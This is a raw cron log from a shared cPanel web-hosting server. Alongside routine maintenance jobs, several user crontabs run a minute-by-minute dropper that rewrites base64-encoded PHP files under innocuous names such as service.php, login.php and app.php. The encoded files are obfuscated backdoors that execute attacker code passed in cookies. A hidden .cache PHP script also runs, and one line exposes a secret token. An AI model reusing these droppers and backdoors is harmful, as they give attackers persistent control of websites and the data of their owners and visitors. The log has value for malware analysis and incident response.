Apr 19 08:15:02 medusa CROND[9447]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:15:02 medusa CROND[9450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:15:02 medusa CROND[9455]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:15:02 medusa CROND[9454]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:15:02 medusa CROND[9448]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:15:02 medusa CROND[9457]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:15:02 medusa CROND[9459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:15:02 medusa CROND[9456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:15:02 medusa CROND[9462]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:15:02 medusa CROND[9451]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 19 08:15:02 medusa CROND[9445]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:15:02 medusa CROND[9469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:16:02 medusa CROND[32327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:16:02 medusa CROND[32328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:16:02 medusa CROND[32331]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:16:02 medusa CROND[32335]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:16:02 medusa CROND[32334]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:16:02 medusa CROND[32339]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:16:02 medusa CROND[32340]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:16:02 medusa CROND[32342]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:16:02 medusa CROND[32343]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:16:02 medusa CROND[32348]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:16:02 medusa CROND[32351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:16:02 medusa CROND[32352]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:16:02 medusa CROND[32358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:16:02 medusa CROND[32363]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:17:02 medusa CROND[24508]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:17:02 medusa CROND[24507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:17:02 medusa CROND[24509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:17:02 medusa CROND[24510]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:17:02 medusa CROND[24511]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 08:17:02 medusa CROND[24512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:17:02 medusa CROND[24513]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:17:02 medusa CROND[24514]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:17:02 medusa CROND[24518]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:17:02 medusa CROND[24520]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:17:02 medusa CROND[24523]: (firadio) CMD (php -q /home/firadio/public_html/phplist/admin/index.php -pprocessqueue -c/home/firadio/public_html/phplist/config/config.php >/dev/null)
